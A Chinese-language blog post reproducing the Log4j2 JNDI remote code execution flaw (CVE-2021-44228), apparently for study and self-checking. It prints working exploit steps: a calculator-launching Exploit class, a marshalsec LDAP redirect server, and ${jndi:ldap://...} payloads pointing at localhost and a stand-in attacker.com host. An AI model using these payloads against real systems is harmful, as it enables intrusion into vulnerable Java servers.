目录

CVE-2021-44228-Apache-Log4j2-Rce安全漏洞触发复现

背景

最近,互联网上曝出了 Apache Log4j2 中的远程代码执行漏洞,攻击者可利用此漏洞构造特殊的数据请求包,最终触发远程代码执行。

要知道,绝大部分的Java应用用的都是Log4j的包记录日志,而很多互联网公司用的是Log4j2,据“白帽”分析确认,几乎所有技术巨头如百度等都是该 Log4j 远程代码执行漏洞的受害者。

漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含[关键词] ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求

2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。

漏洞详情:

Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置**漏洞情况分析:**Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

漏洞编号:暂缺漏洞

等级: 高危,该漏洞影响范围极广,危害极大。

CVSS评分: 10(最高级)

漏洞状态:

受影响的版本: Apache log4j2 2.0 - 2.14.1 版本均受影响。

安全版本: Apache log4j-2.15.0-rc2

触发过程

  1. 用户发送数据到服务器,不管什么协议,http也好,别的也好
  2. 服务器记录用户请求中的数据,数据中包含恶意payload:${jndi:ldap://attacker.com/a},其中attacker.com是攻击者的服务器
  3. log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个$符号
  4. log4j收到的jndi响应中包含一个java class文件路径,比如是 http://second-stage.attacker.com/Exploit.class,这个class文件会被log4j所运行在的服务器加载运行
  5. 第4步中注入的java class文件中的代码是攻击者的攻击代码

本地windows环境复现操作

1. 注入程序(脚本)准备

编译Exploit.java,该注入程序为打开计算器操作

1
2
3
4
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 

Exploit.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class Exploit {
    public Exploit() {}
    static {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"open","/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

2. 启动fileserver

服务url:127.0.0.1:8989/files , fileserver同目录下有tmp放置files,这里放了Exploit.class

1
 ./fileserver

fileserver 是自己用go写的httpserver,端口:8989,用于文件下载

1
2
3
$ ./fileserver
2021/12/14 16:51:27 Server started on localhost:8989, use ./tmp for uploading files and /files/{fileName} for downloading

3. 编译运行marshalsec工具

启动LDAPRefServer , 重定向到 http://127.0.0.1:8989/files/#Exploit

1
2
3
4
5
6
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8989/files/#Exploit"

启动后,监听1389端口

1
2
3
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8989/files/#Exploit"
Listening on 0.0.0.0:1389

4. 本地IDE环境运行log4j

说明: 如果log4j.java 同目录下放置了Exploit.java 则不需要运行fileserver提供Exploit.class

log4j.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //The default trusturlcodebase of the higher version JDK is false
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

5. 运行界面

重定向到hacker提供的服务

/posts/2021/12/cve-2021-44228-apache-log4j2-rce%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E8%A7%A6%E5%8F%91%E5%A4%8D%E7%8E%B0/log4j2-1.png

执行hacker的注入程序或脚本

/posts/2021/12/cve-2021-44228-apache-log4j2-rce%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E8%A7%A6%E5%8F%91%E5%A4%8D%E7%8E%B0/log4j2-2.png

6. log4j项目pom.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>

漏洞检查

根据项目使用log方式,运行log实例检查,看是否会触发Exploit程序执行。如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
String jndiErr = "${jndi:ldap://127.0.0.1:1389/Exploit}"

// case 1.    
log.error(jndiErr);
// case 2. 
logger = ...    
logger.error(jndiErr);

// case 3.
Logger = ...
Logger.error(jndiErr);  

// ...

附录

试试CVE-2021-44228 log4j2 rce